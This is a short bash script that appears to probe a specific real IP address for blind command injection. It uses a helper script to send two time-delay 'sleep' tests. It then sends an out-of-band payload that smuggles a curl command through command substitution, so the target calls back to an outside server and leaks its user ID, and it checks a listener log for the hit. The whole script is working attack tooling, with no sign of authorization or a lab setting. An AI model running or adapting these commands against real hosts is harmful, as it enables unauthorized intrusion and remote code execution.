#!/bin/bash
cd /root/recon
echo "### sleep test #1"
timeout 60 bash bt_run8.sh 24.183.131.174 sleep 2>&1 | grep -E 'close|TIMEOUT|sent|101'
echo "### sleep test #2"
timeout 60 bash bt_run8.sh 24.183.131.174 sleep 2>&1 | grep -E 'close|TIMEOUT|sent|101'
echo "### OOB curl test"
timeout 60 bash bt_run8.sh 24.183.131.174 'hax[$(curl -m 8 -s http://45.13.212.209:18222/oneida_oob_$(id -u))]' 2>&1 | grep -E 'close|TIMEOUT|sent|101'
echo "### oob log tail"
tail -3 /root/recon/oob_http.log 2>/dev/null
echo CONFIRMDONE
